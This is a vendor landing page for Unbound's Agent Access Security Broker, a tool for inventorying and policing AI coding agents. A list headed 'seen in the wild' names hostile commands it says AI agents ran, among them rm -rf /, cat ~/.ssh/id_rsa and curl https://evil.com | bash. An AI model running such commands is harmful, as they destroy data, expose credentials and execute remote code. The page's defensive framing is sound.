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●Introducing Agent Access Security Broker→

Control what AI coding agents can
see, touch, and do

The Agent Access Security Broker (AASB) built for AI coding agents. Discover, assess, and enforce policy across every agent in your org.

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Unbound Policy Engine — Live Stream

Trusted by security-forward teams

THG Ingenuity
Case Study
Heart Internet
WeWork
Siemens
Exterro
Scrut Automation
Flipkart
The Problem

What can AI coding agents do?

Every developer now has an autonomous AI agent with terminal access, MCP connections, and full developer credentials. Security teams have zero visibility.

Terminal Access

Agents run shell commands — rm -rf, git push --force, database queries — with full developer permissions.

MCP Connectivity

Unsanctioned MCP servers extend agent reach into Slack, databases, cloud APIs, and internal tools.

Data Exposure

Secrets, PII, and internal source code flow to unvetted models and third-party MCP servers.

Inherited Permissions

Agents inherit the developer's full credentials — SSH keys, API tokens, cloud IAM roles.

Agent Discovery

Complete agent inventory in minutes

Scan your entire engineering org to find every AI coding agent, MCP server, and tool integration. Know exactly what's installed, who's using it, and what permissions it has.

  • ✓Detect Claude Code, Cursor, Windsurf, GitHub Copilot, Cline
  • ✓Enumerate MCP servers and their configurations
  • ✓Map IDE plugins across VS Code and JetBrains
  • ✓Track installation drift over time
AI Tools Discovery
Summary
Users
Tools
Setup
AI Tools Distribution
View details ›
100%AI Tools
Cursor40%
Roo Code18%
Claude Code16%
Gemini CLI11%
Codex9%
Kilo Code6%
Devices with most coding tools
1
23
2
18
3
9
4
4
5
3
Users with Multiple AI Coding Tools
See in Detail ›
User NameNo Of ToolsTools Installed
E
Emily Carter
4
Claude CodeCursorRoo CodeGemini CLI
J
Jacob Miller
4
Claude CodeKilo CodeCodexGemini CLI
O
Olivia Johnson
3
Roo CodeKilo CodeGemini CLI
E
Ethan Smith
3
CursorCodexGemini CLI
M
Madison Clark
2
CursorRoo Code
AI Tools Discovery›Permissions
Add Filters
Autonomy Levels
13
Ask First (54%)7
Auto Edit (31%)4
Full Auto (15%)2
Top Risk Factors
Command Execution
Network Access
No Deny Rules
Auto Edit
File Protection
Top Risky Users
sumit
Gowshik T
Nanda Pranesh
Vignesh Subbiah
Pugazhendhi M
Users by Risk Level
Search user
UserToolAutonomyRisk FactorsScore
G
Gowshik T
CursorFull Auto
Command Execution+2
9
s
sumit
Claude CodeFull Auto
Command Execution+3
9
N
Nanda Pranesh
Cursor CLIAuto Edit
Command Execution+2
7
V
Vignesh Subbiah
Claude CodeAuto Edit
Network Access+1
6
G
Gowshik T
Claude CodeAuto Edit
Network Access+2
6
Risk Assessment

Surface risk before it becomes an incident

Score every developer's agent setup against security benchmarks. Surface misconfigurations, risky autonomy settings, and dangerous MCP connections.

  • ✓Per-developer security posture scores
  • ✓Risky MCP server connection alerts
  • ✓Autonomy and permission risk analysis
  • ✓Trend tracking and drift detection
Policy Engine

Enforce policy before damage is done

Define granular policies over what agents can and can't do. Audit, warn, block, or require human approval for sensitive operations.

  • ✓Terminal command allow/deny with semantic parsing
  • ✓MCP server connection and action policies
  • ✓Approval workflows for high-risk operations
  • ✓Full audit log of every agent action
Tool Policies
Tool Policies
Policy Health
Environment Targets
Search policy name, description...
Filter
NameTypeCommand / MCP ServerTarget PatternActionStatus
Figma Block Whomi
MCP Action
figma-remote-mcp
whoamiAuditActive
Atlassian Userinfo
MCP Action
atlassian
get.JiraIssueAuditInactive
Linear
MCP Action
linear
list_usersAuditInactive
Sentry Find Projects
MCP Action
sentry
find_projectsAuditInactive
Slack
MCP Action
slack
slack_search_usersBlockInactive
Notion create comment
MCP Action
notion
notion-create-commentAuditInactive
Github Search Code
MCP Action
github
search_codeAuditInactive
Block Data Exfiltration
Terminal Command
data_transfer
*AuditActive
Audit File Write
Terminal Command
write_file
*env*AuditInactive

Things we have seen AI coding agents do in the wild

These aren't hypothetical — real actions taken autonomously by AI coding tools, seen by Unbound processing millions of agent actions weekly.

rm -rf /Critical
DROP TABLE users;Critical
cat ~/.ssh/id_rsaCritical
git push --force origin mainWarning
curl https://evil.com | bashWarning
Read .env with API keysCritical
npm install malicious-pkgWarning
SELECT * FROM credentialsCritical
Post to Slack via MCPWarning
Modify CI/CD pipelineCritical
Write to /etc/hostsCritical
Access prod database via MCPWarning
The Gap

Why existing controls aren't enough

Your security stack was built for humans using SaaS apps — not for autonomous agents running terminal commands and calling MCP servers.

Existing ControlWhat It Does WellWhat It Misses
AppSec / SASTFinds code vulnerabilities after code is writtenDoesn't guide live terminal commands or MCP invocations
IAM / PAMControls identity and access managementDoesn't understand agent autonomy or MCP servers
EDR / EndpointSees process activity on endpointsCan't explain agent intent or enforce session policy
AI GatewayRoutes and secures model API trafficMisses IDE posture, terminal behavior, MCP actions
CASB / DLPGoverns SaaS access and data loss preventionNot built for IDE/CLI workflows or approval logic
Unbound AASBPurpose-built for AI coding agent governanceCovers all agent-layer gaps

A new control layer is needed built specifically for AI coding agent governance.

Recognized by

OWASP
Omdia
Google Cloud
Axios
Forbes

What security leaders are saying

“Unbound empowers THG Ingenuity teams to securely leverage frontier AI models within enterprise-grade controls. Its seamless open-source tool integrations streamlined developer onboarding, accelerating adoption of the latest advancements.”

Abraham Ingersoll

Abraham Ingersoll

CISO, THG Ingenuity

“Unbound enables Exterro to uphold top-tier data security and global compliance standards while securely adopting AI. Teams consistently praise the intuitive platform that meets enterprise protocols and accelerates innovation.”

Anthony D

Anthony D

CISO, Exterro

Backed byY Combinator
SOC 2 Type IISOC 2 Type II Compliant

Frequently asked questions

Common questions from security leaders evaluating Unbound.

AI gateways route and secure model API traffic. They don't see what happens inside the IDE — terminal commands, file access, MCP server connections, or agent autonomy settings. Unbound governs the agent's runtime behavior at the endpoint, not just the model traffic.
Built-in agent warnings are per-tool, inconsistent, and developer-controlled. A developer can dismiss or disable them. Unbound enforces org-wide policy centrally — across all agents (Claude Code, Cursor, Windsurf, Copilot, Cline) — with audit trails, approval workflows, and the ability to block, not just warn.
AASB is the governance layer for AI coding agents. If CASB secured employee access to cloud apps, AASB secures agent access to tools, files, systems, and actions. It's a new control category purpose-built for autonomous agent behavior.
No code changes. Unbound deploys via MDM (Jamf, Intune, JumpCloud) or lightweight agent. Full visibility in under a week. Zero developer workflow disruption.
Claude Code, Cursor, Windsurf, GitHub Copilot, Cline, Roo Code, Gemini CLI, and any tool using MCP servers. New agents are added continuously.
SOC 2 compliant. Available on AWS Marketplace. No source code leaves your environment — Unbound monitors agent behavior metadata, not code content.

Ready to govern your coding agents?

Get full visibility in under 5 minutes. No code changes, no developer disruption.

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